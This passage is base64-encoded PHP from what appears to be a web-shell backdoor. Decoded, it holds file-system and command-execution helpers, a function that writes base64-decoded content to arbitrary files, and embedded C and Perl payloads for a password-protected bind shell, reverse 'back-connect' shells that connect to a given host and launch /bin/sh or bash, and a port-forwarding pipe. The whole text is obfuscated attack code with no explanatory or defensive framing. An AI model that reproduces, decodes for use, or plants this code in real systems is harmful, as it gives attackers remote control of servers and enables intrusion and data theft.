8gJ3cnIDogJy0nOw0KJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7 DQokZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCiRncm91cFsid3JpdG UiXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2Rl ICYgMDAwMTApID8gJ3gnIDogJy0nOw0KJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCkgPyAnci cgOiAnLSc7DQokd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQokd29y bGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCmlmKCAkbW9kZSAmIDB4OD AwICkgJG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7 DQppZiggJG1vZGUgJiAweDQwMCApICRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsnZXhlY3V0ZSddPT 0neCcpID8gJ3MnIDogJ1MnOw0KaWYoICRtb2RlICYgMHgyMDAgKSAkd29ybGRbImV4ZWN1dGUiXSA9ICgk d29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzsNCiRzPXNwcmludGYoIiUxcyIsICR0eXBlKT sNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkb3duZXJbJ3JlYWQnXSwgJG93bmVyWyd3cml0ZSddLCAk b3duZXJbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJGdyb3VwWydyZWFkJ10sIC Rncm91cFsnd3JpdGUnXSwgJGdyb3VwWydleGVjdXRlJ10pOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIs ICR3b3JsZFsncmVhZCddLCAkd29ybGRbJ3dyaXRlJ10sICR3b3JsZFsnZXhlY3V0ZSddKTsNCnJldHVybi B0cmltKCRzKTsNCn0NCmZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0w KQ0Kew0KICRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7DQogaWYoJH NpemUgIT0gMCkgeyAkcmV0IC49ICJzaXplPSIuJHNpemUuIiAiOyB9DQogJHJldCAuPSAidmFsdWU9XCIi LiR2YWx1ZS4iXCIiOw0KIGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7DQogcmV0dXJuICRyZX QuIj4iOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKQ0Kew0KJHBhdGggPSBleCgid2hpY2ggJHByIik7DQpp ZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuICRwcjsgfQ0KfQ0KZn VuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KQ0Kew0KICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9 yIGVycigwKTsNCiBpZigkd19maWxlKQ0KIHsNCiBAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkd GV4dCkpOw0KIEBmY2xvc2UoJHdfZmlsZSk7DQogfQ0KfQ0KZnVuY3Rpb24gc3IoJGwsJHQxLCR0MikNCiB 7DQogcmV0dXJuICI8dHIgY2xhc3M9dHIxPjx0ZCBjbGFzcz10ZDEgd2lkdGg9Ii4kbC4iJSBhbGlnbj1ya WdodD4iLiR0MS4iPC90ZD48dGQgY2xhc3M9dGQxIGFsaWduPWxlZnQ+Ii4kdDIuIjwvdGQ+PC90cj4iOw0 KIH0NCmlmICghQGZ1bmN0aW9uX2V4aXN0cygidmlld19zaXplIikpDQp7DQpmdW5jdGlvbiB2aWV3X3Npe mUoJHNpemUpDQp7DQogaWYoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8 gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAiIEdCIjt9DQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpI Hskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQ0KIGVsc2V pZigkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuI CIgS0IiO30NCiBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9DQogcmV0dXJuICRzaXplOw0KfQ0KfQ0 KICBmdW5jdGlvbiBEaXJGaWxlc1IoJGRpciwkdHlwZXM9JycpDQogIHsNCiAgICAkZmlsZXMgPSBBcnJhe SgpOw0KICAgIGlmKCgkaGFuZGxlID0gQG9wZW5kaXIoJGRpcikpKQ0KICAgIHsNCiAgICAgIHdoaWxlICh mYWxzZSAhPT0gKCRmaWxlID0gQHJlYWRkaXIoJGhhbmRsZSkpKQ0KICAgICAgew0KICAgICAgICBpZiAoJ GZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpDQogICAgICAgIHsNCiAgICAgICAgICBpZihAaXNfZGl yKCRkaXIuIi8iLiRmaWxlKSkNCiAgICAgICAgICAgICRmaWxlcyA9IEBhcnJheV9tZXJnZSgkZmlsZXMsR GlyRmlsZXNSKCRkaXIuIi8iLiRmaWxlLCR0eXBlcykpOw0KICAgICAgICAgIGVsc2UNCiAgICAgICAgICB 7DQogICAgICAgICAgICAkcG9zID0gQHN0cnJwb3MoJGZpbGUsIi4iKTsNCiAgICAgICAgICAgICRleHQgP SBAc3Vic3RyKCRmaWxlLCRwb3MsQHN0cmxlbigkZmlsZSktJHBvcyk7DQogICAgICAgICAgICBpZigkdHl wZXMpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgIGlmKEBpbl9hcnJheSgkZXh0LGV4cGxvZGUoJ zsnLCR0eXBlcykpKQ0KICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7DQogICA gICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iL yIuJGZpbGU7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBAY2xvc2VkaXIoJGh hbmRsZSk7DQogICAgfQ0KICAgIHJldHVybiAkZmlsZXM7DQogIH0NCiAgY2xhc3MgU2VhcmNoUmVzdWx0D QogIHsNCiAgICB2YXIgJHRleHQ7DQogICAgdmFyICRGaWxlc1RvU2VhcmNoOw0KICAgIHZhciAkUmVzdWx 0RmlsZXM7DQogICAgdmFyICRGaWxlc1RvdGFsOw0KICAgIHZhciAkTWF0Y2hlc0NvdW50Ow0KICAgIHZhc iAkRmlsZU1hdHNjaGVzQ291bnQ7DQogICAgdmFyICRUaW1lU3RhcnQ7DQogICAgdmFyICRUaW1lVG90YWw 7DQogICAgdmFyICR0aXRsZXM7DQogICAgZnVuY3Rpb24gU2VhcmNoUmVzdWx0KCRkaXIsJHRleHQsJGZpb HRlcj0nJykNCiAgICB7DQogICAgICAkZGlycyA9IEBleHBsb2RlKCI7IiwkZGlyKTsNCiAgICAgICR0aGl zLT5GaWxlc1RvU2VhcmNoID0gQXJyYXkoKTsNCiAgICAgIGZvcigkYT0wOyRhPGNvdW50KCRkaXJzKTskY SsrKQ0KICAgICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEBhcnJheV9tZXJnZSgkdGhpcy0+RmlsZXN Ub1NlYXJjaCxEaXJGaWxlc1IoJGRpcnNbJGFdLCRmaWx0ZXIpKTsNCiAgICAgICR0aGlzLT50ZXh0ID0gJ HRleHQ7DQogICAgICAkdGhpcy0+RmlsZXNUb3RhbCA9IEBjb3VudCgkdGhpcy0+RmlsZXNUb1NlYXJjaCk 7DQogICAgICAkdGhpcy0+VGltZVN0YXJ0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgICAkdGhpcy0+TWF0Y 2hlc0NvdW50ID0gMDsNCiAgICAgICR0aGlzLT5SZXN1bHRGaWxlcyA9IEFycmF5KCk7DQogICAgICAkdGh pcy0+RmlsZU1hdGNoZXNDb3VudCA9IEFycmF5KCk7DQogICAgICAkdGhpcy0+dGl0bGVzID0gQXJyYXkoK TsNCiAgICB9DQogICAgZnVuY3Rpb24gR2V0RmlsZXNUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlc1R vdGFsOyB9DQogICAgZnVuY3Rpb24gR2V0VGl0bGVzKCkgeyByZXR1cm4gJHRoaXMtPnRpdGxlczsgfQ0KI
CAgIGZ1bmN0aW9uIEdldFRpbWVUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5UaW1lVG90YWw7IH0NCiAgICB mdW5jdGlvbiBHZXRNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+TWF0Y2hlc0NvdW50OyB9DQogI CAgZnVuY3Rpb24gR2V0RmlsZU1hdGNoZXNDb3VudCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlTWF0Y2hlc0N vdW50OyB9DQogICAgZnVuY3Rpb24gR2V0UmVzdWx0RmlsZXMoKSB7IHJldHVybiAkdGhpcy0+UmVzdWx0R mlsZXM7IH0NCiAgICBmdW5jdGlvbiBTZWFyY2hUZXh0KCRwaHJhc2U9MCwkY2FzZT0wKSB7DQogICAgJHF xID0gQGV4cGxvZGUoJyAnLCR0aGlzLT50ZXh0KTsNCiAgICAkZGVsaW0gPSAnfCc7DQogICAgICBpZigkc GhyYXNlKQ0KICAgICAgICBmb3JlYWNoKCRxcSBhcyAkaz0+JHYpDQogICAgICAgICAgJHFxWyRrXSA9ICd cYicuJHYuJ1xiJzsNCiAgICAgICR3b3JkcyA9ICcoJy5AaW1wbG9kZSgkZGVsaW0sJHFxKS4nKSc7DQogI CAgICAkcGF0dGVybiA9ICIvIi4kd29yZHMuIi8iOw0KICAgICAgaWYoISRjYXNlKQ0KICAgICAgICAkcGF 0dGVybiAuPSAnaSc7DQogICAgICBmb3JlYWNoKCR0aGlzLT5GaWxlc1RvU2VhcmNoIGFzICRrPT4kZmlsZ W5hbWUpDQogICAgICB7DQogICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gPSA wOw0KICAgICAgICAkRmlsZVN0cmluZ3MgPSBAZmlsZSgkZmlsZW5hbWUpIG9yIEBuZXh0Ow0KICAgICAgI CBmb3IoJGE9MDskYTxAY291bnQoJEZpbGVTdHJpbmdzKTskYSsrKQ0KICAgICAgICB7DQogICAgICAgICA gJGNvdW50ID0gMDsNCiAgICAgICAgICAkQ3VyU3RyaW5nID0gJEZpbGVTdHJpbmdzWyRhXTsNCiAgICAgI CAgICAkQ3VyU3RyaW5nID0gQFRyaW0oJEN1clN0cmluZyk7DQogICAgICAgICAgJEN1clN0cmluZyA9IEB zdHJpcF90YWdzKCRDdXJTdHJpbmcpOw0KICAgICAgICAgICRhYSA9ICcnOw0KICAgICAgICAgIGlmKCgkY 291bnQgPSBAcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sJEN1clN0cmluZywkYWEpKSkNCiAgICAgICAgICB 7DQogICAgICAgICAgICAkQ3VyU3RyaW5nID0gQHByZWdfcmVwbGFjZSgkcGF0dGVybiwiPFNQQU4gc3R5b GU9J2NvbG9yOiAjOTkwMDAwOyc+PGI+XFwxPC9iPjwvU1BBTj4iLCRDdXJTdHJpbmcpOw0KICAgICAgICA gICAgJHRoaXMtPlJlc3VsdEZpbGVzWyRmaWxlbmFtZV1bJGErMV0gPSAkQ3VyU3RyaW5nOw0KICAgICAgI CAgICAgJHRoaXMtPk1hdGNoZXNDb3VudCArPSAkY291bnQ7DQogICAgICAgICAgICAkdGhpcy0+RmlsZU1 hdGNoZXNDb3VudFskZmlsZW5hbWVdICs9ICRjb3VudDsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgI CAgIH0NCiAgICAgICR0aGlzLT5UaW1lVG90YWwgPSBAcm91bmQoZ2V0bWljcm90aW1lKCkgLSAkdGhpcy0 +VGltZVN0YXJ0LDQpOw0KICAgIH0NCiAgfQ0KICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKQ0KICB7DQogI CAgbGlzdCgkdXNlYywkc2VjKSA9IEBleHBsb2RlKCIgIixAbWljcm90aW1lKCkpOw0KICAgIHJldHVybiA oKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpOw0KICB9DQokcG9ydF9iaW5kX2JkX2M9IkkybHVZMngxW kdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzN sekwzUjVjR1Z6TG1nK0RRb2phVzVqYkhWa1pTDQpBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR 1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHhsY25KdWJ5NW9QZzBLYVc1MElHMWhhVzR vWVhKbll5eGhjbWQyS1EwS2FXNTBJDQpHRnlaMk03RFFwamFHRnlJQ29xWVhKbmRqc05DbnNnSUEwS0lHb HVkQ0J6YjJOclptUXNJRzVsZDJaa093MEtJR05vWVhJZ1luVm1Xek13WFRzTkNpQnpkSEoxWTNRZ2MyOWp hMkZrWkhKZmFXNGdjbVZ0DQpiM1JsT3cwS0lHbG1LR1p2Y21zb0tTQTlQU0F3S1NCN0lBMEtJSEpsYlc5M FpTNXphVzVmWm1GdGFXeDVJRDBnUVVaZlNVNUZWRHNOQ2lCeVpXMXZkR1V1YzJsdVgzQnZjblFnUFNCb2R HOXVjeWhoZEc5DQpwS0dGeVozWmJNVjBwS1RzTkNpQnlaVzF2ZEdVdWMybHVYMkZrWkhJdWMxOWhaR1J5S UQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0lBMEtJSE52WTJ0bVpDQTlJSE52WTJ0bGRDaEJSbDlKVGt WVUxGDQpOUFEwdGZVMVJTUlVGTkxEQXBPdzBLSUdsbUtDRnpiMk5yWm1RcElIQmxjbkp2Y2lnaWMyOWphM lYwSUdWeWNtOXlJaWs3RFFvZ1ltbHVaQ2h6YjJOclptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLDQp pa21jbVZ0YjNSbExDQXdlREV3S1RzTkNpQnNhWE4wWlc0b2MyOWphMlprTENBMUtUc05DaUIzYUdsc1pTZ 3hLUTBLSUNCN0RRb2dJQ0J1WlhkbVpEMWhZMk5sY0hRb2MyOWphMlprTERBc01DazdEUW9nDQpJQ0JrZFh BeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc05DaUFnSUdSMWNESW9ibVYzWm1Rc 01pazdEUW9nSUNCM2NtbDBaU2h1WlhkbVpDd2lVR0Z6YzNkdmNtUTZJaXd4TUNrDQo3RFFvZ0lDQnlaV0Z rS0c1bGQyWmtMR0oxWml4emFYcGxiMllvWW5WbUtTazdEUW9nSUNCcFppQW9JV05vY0dGemN5aGhjbWQyV 3pKZExHSjFaaWtwRFFvZ0lDQnplWE4wWlcwb0ltVmphRzhnZDJWc1kyDQo5dFpTQjBieUJ5TlRjZ2MyaGx iR3dnSmlZZ0wySnBiaTlpWVhOb0lDMXBJaWs3RFFvZ0lDQmxiSE5sRFFvZ0lDQm1jSEpwYm5SbUtITjBaR 1Z5Y2l3aVUyOXljbmtpS1RzTkNpQWdJR05zYjNObEtHNWxkDQoyWmtLVHNOQ2lBZ2ZRMEtJSDBOQ24wTkN tbHVkQ0JqYUhCaGMzTW9ZMmhoY2lBcVltRnpaU3dnWTJoaGNpQXFaVzUwWlhKbFpDa2dldzBLYVc1MElHa zdEUXBtYjNJb2FUMHdPMms4YzNSeWJHVnVLR1Z1DQpkR1Z5WldRcE8ya3JLeWtnRFFwN0RRcHBaaWhsYm5 SbGNtVmtXMmxkSUQwOUlDZGNiaWNwRFFwbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzZ0RRcHBaaWhsYm5Sb GNtVmtXMmxkSUQwOUlDZGNjaWNwRFFwDQpsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNOQ24wTkNtbG1JQ2d oYzNSeVkyMXdLR0poYzJVc1pXNTBaWEpsWkNrcERRcHlaWFIxY200Z01Ec05DbjA9IjsNCiRwb3J0X2Jpb mRfYmRfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZZbUZ6YUNBdGFTSTd EUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdJR1Y0YVhRb01TazdJSDBOQ2lSTVMNClZOVVJVNWZVRTlTVkQwa 1FWSkhWbHN3WFRzTkNuVnpaU0JUYjJOclpYUTdEUW9rY0hKdmRHOWpiMnc5WjJWMGNISnZkRzlpZVc1aGJ XVW9KM1JqY0NjcE93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXMNCkpsTlBRMHRmVTFSU1JVRk5MQ1J3Y 205MGIyTnZiQ2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJ OcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlYNClRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjM jlqYTJGa1pISmZhVzRvSkV4SlUxUkZUbDlRVDFKVUxFbE9RVVJFVWw5QlRsa3BLU0I4ZkNCa2FXVWdJa05 oYm5RZ2IzQmxiaUJ3YjNKMFhHNGlPdzBLYkcNCmx6ZEdWdUtGTXNNeWtnZkh3Z1pHbGxJQ0pEWVc1MElHe
HBjM1JsYmlCd2IzSjBYRzRpT3cwS2QyaHBiR1VvTVNrTkNuc05DbUZqWTJWd2RDaERUMDVPTEZNcE93MEt hV1lvSVNna2NHbGtQV1p2Y21zcEsNClEwS2V3MEtaR2xsSUNKRFlXNXViM1FnWm05eWF5SWdhV1lnS0NGa 1pXWnBibVZrSUNSd2FXUXBPdzBLYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNtOXdaVzRnVTFSRVQ xVlVMQ0krSmtOUFRrNGkNCk93MEtiM0JsYmlCVFZFUkZVbElzSWo0bVEwOU9UaUk3RFFwbGVHVmpJQ1JUU 0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWp zTkNtTnNiM04NCmxJRU5QVGs0N0RRcGxlR2wwSURBN0RRcDlEUXA5IjsNCiRiYWNrX2Nvbm5lY3Q9Ikl5R XZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjV jM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoNCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnb k93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFh Uc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFINCmhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nS kNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUd ScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QNCnNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR 053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ 5YjNSdktTQjhmQ0JrYVdVb0kNCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd 2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWl QaVpUVDBOTFJWUWkNCktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b 1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEt GTlVSRWwNCk9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOw0KJ GJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekw zTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQw0KQnRZV2x1S 0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZEN CemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5Yg0KU0F0WmlBaU95QU5Da UJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx 1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZA0KS1NrN0RRb2djMmx1TG5OcGJsO WhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5 kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISg0Kc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCb VpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUT FBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQw0KQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJ Q1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbT l5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RA0KUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallY UW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQX BPdzBLSUdSMWNESW9abVFzSURFcA0KT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1s dUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KJGRhdG FwaXBlX2M9IkkybHVZMngxWkdVZ1BITjVjeTkwZVhCbGN5NW9QZzBLSTJsdVkyeDFaR1VnUEhONWN5OXpi Mk5yWlhRdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZVhNdmQyRnBkQzVvUGcwS0kybHVZMg0KeDFaR1VnUEc1bG RHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdScGJ5NW9QZzBLSTJsdVkyeDFaR1VnUEhOMFpH eHBZaTVvUGcwS0kybHVZMngxWkdVZ1BHVnljbTV2TG1nK0RRb2phVzVqYg0KSFZrWlNBOGRXNXBjM1JrTG 1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHhzYVc1MWVDOTBhVzFsTG1n K0RRb2phV1prWldZZ1UxUlNSVkpTVDFJTkNtVjRkR1Z5YmlCag0KYUdGeUlDcHplWE5mWlhKeWJHbHpkRn RkT3cwS1pYaDBaWEp1SUdsdWRDQnplWE5mYm1WeWNqc05DbU5vWVhJZ0tuVnVaR1ZtSUQwZ0lsVnVaR1Zt YVc1bFpDQmxjbkp2Y2lJN0RRcGphR0Z5SUNwemRISg0KbGNuSnZjaWhsY25KdmNpa2dJQTBLYVc1MElHVn ljbTl5T3lBZ0RRcDdJQTBLYVdZZ0tHVnljbTl5SUQ0Z2MzbHpYMjVsY25JcERRcHlaWFIxY200Z2RXNWta V1k3RFFweVpYUjFjbTRnYzNselgyVnljbQ0KeHBjM1JiWlhKeWIzSmRPdzBLZlEwS0kyVnVaR2xtRFFvTk NtMWhhVzRvWVhKbll5d2dZWEpuZGlrZ0lBMEtJQ0JwYm5RZ1lYSm5ZenNnSUEwS0lDQmphR0Z5SUNvcVlY Sm5kanNnSUEwS2V5QU5DaUFnYQ0KVzUwSUd4emIyTnJMQ0JqYzI5amF5d2diM052WTJzN0RRb2dJRVpKVE VVZ0ttTm1hV3hsT3cwS0lDQmphR0Z5SUdKMVpsczBNRGsyWFRzTkNpQWdjM1J5ZFdOMElITnZZMnRoWkdS eVgybHVJR3hoWkdSeQ0KTENCallXUmtjaXdnYjJGa1pISTdEUW9nSUdsdWRDQmpZV1JrY214bGJpQTlJSE 5wZW1WdlppaGpZV1JrY2lrN0RRb2dJR1prWDNObGRDQm1aSE55TENCbVpITmxPdzBLSUNCemRISjFZM1Fn YUc5emRHVg0KdWRDQXFhRHNOQ2lBZ2MzUnlkV04wSUhObGNuWmxiblFnS25NN0RRb2dJR2x1ZENCdVlubD BPdzBLSUNCMWJuTnBaMjVsWkNCc2IyNW5JR0U3RFFvZ0lIVnVjMmxuYm1Wa0lITm9iM0owSUc5d2IzSjBP dw0KMEtEUW9nSUdsbUlDaGhjbWRqSUNFOUlEUXBJSHNOQ2lBZ0lDQm1jSEpwYm5SbUtITjBaR1Z5Y2l3aV ZYTmhaMlU2SUNWeklHeHZZMkZzY0c5eWRDQnlaVzF2ZEdWd2IzSjBJSEpsYlc5MFpXaHZjM1JjYg0KaUlz WVhKbmRsc3dYU2s3RFFvZ0lDQWdjbVYwZFhKdUlETXdPdzBLSUNCOURRb2dJR0VnUFNCcGJtVjBYMkZrWk hJb1lYSm5kbHN6WFNrN0RRb2dJR2xtSUNnaEtHZ2dQU0JuWlhSb2IzTjBZbmx1WVcxbA0KS0dGeVozWmJN MTBwS1NBbUpnMEtJQ0FnSUNBZ0lTaG9JRDBnWjJWMGFHOXpkR0o1WVdSa2NpZ21ZU3dnTkN3Z1FVWmZTVT VGVkNrcEtTQjdEUW9nSUNBZ2NHVnljbTl5S0dGeVozWmJNMTBwT3cwS0lDQQ0KZ0lISmxkSFZ5YmlBeU5U c05DaUFnZlEwS0lDQnZjRzl5ZENBOUlHRjBiMndvWVhKbmRsc3lYU2s3RFFvZ0lHeGhaR1J5TG5OcGJsOX diM0owSUQwZ2FIUnZibk1vS0hWdWMybG5ibVZrSUhOb2IzSjBLUw0KaGhkRzlzS0dGeVozWmJNVjBwS1Nr
N0RRb2dJR2xtSUNnb2JITnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0 lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQw0KaUFnSUNCd1pYSnliM0lvSW5OdlkydGxkQ0lw T3cwS0lDQWdJSEpsZEhWeWJpQXlNRHNOQ2lBZ2ZRMEtJQ0JzWVdSa2NpNXphVzVmWm1GdGFXeDVJRDBnYU hSdmJuTW9RVVpmU1U1RlZDazdEUW9nSUd4aA0KWkdSeUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHaDBi MjVzS0RBcE93MEtJQ0JwWmlBb1ltbHVaQ2hzYzI5amF5d2dKbXhoWkdSeUxDQnphWHBsYjJZb2JHRmtaSE lwS1NrZ2V3MEtJQ0FnSUhCbGNuSg0KdmNpZ2lZbWx1WkNJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNp QWdmUTBLSUNCcFppQW9iR2x6ZEdWdUtHeHpiMk5yTENBeEtTa2dldzBLSUNBZ0lIQmxjbkp2Y2lnaWJHbH pkR1Z1SWlrN0RRb2dJQw0KQWdjbVYwZFhKdUlESXdPdzBLSUNCOURRb2dJR2xtSUNnb2JtSjVkQ0E5SUda dmNtc29LU2tnUFQwZ0xURXBJSHNOQ2lBZ0lDQndaWEp5YjNJb0ltWnZjbXNpS1RzTkNpQWdJQ0J5WlhSMW NtNGdNakE3RA0KUW9nSUgwTkNpQWdhV1lnS0c1aWVYUWdQaUF3S1EwS0lDQWdJSEpsZEhWeWJpQXdPdzBL SUNCelpYUnphV1FvS1RzTkNpQWdkMmhwYkdVZ0tDaGpjMjlqYXlBOUlHRmpZMlZ3ZENoc2MyOWpheXdnSm 1OaA0KWkdSeUxDQW1ZMkZrWkhKc1pXNHBLU0FoUFNBdE1Ta2dldzBLSUNBZ0lHTm1hV3hsSUQwZ1ptUnZj R1Z1S0dOemIyTnJMQ0p5S3lJcE93MEtJQ0FnSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMA0KZ0 xURXBJSHNOQ2lBZ0lDQWdJR1p3Y21sdWRHWW9ZMlpwYkdVc0lDSTFNREFnWm05eWF6b2dKWE5jYmlJc0lI TjBjbVZ5Y205eUtHVnljbTV2S1NrN0RRb2dJQ0FnSUNCemFIVjBaRzkzYmloamMyOWpheQ0Kd3lLVHNOQ2 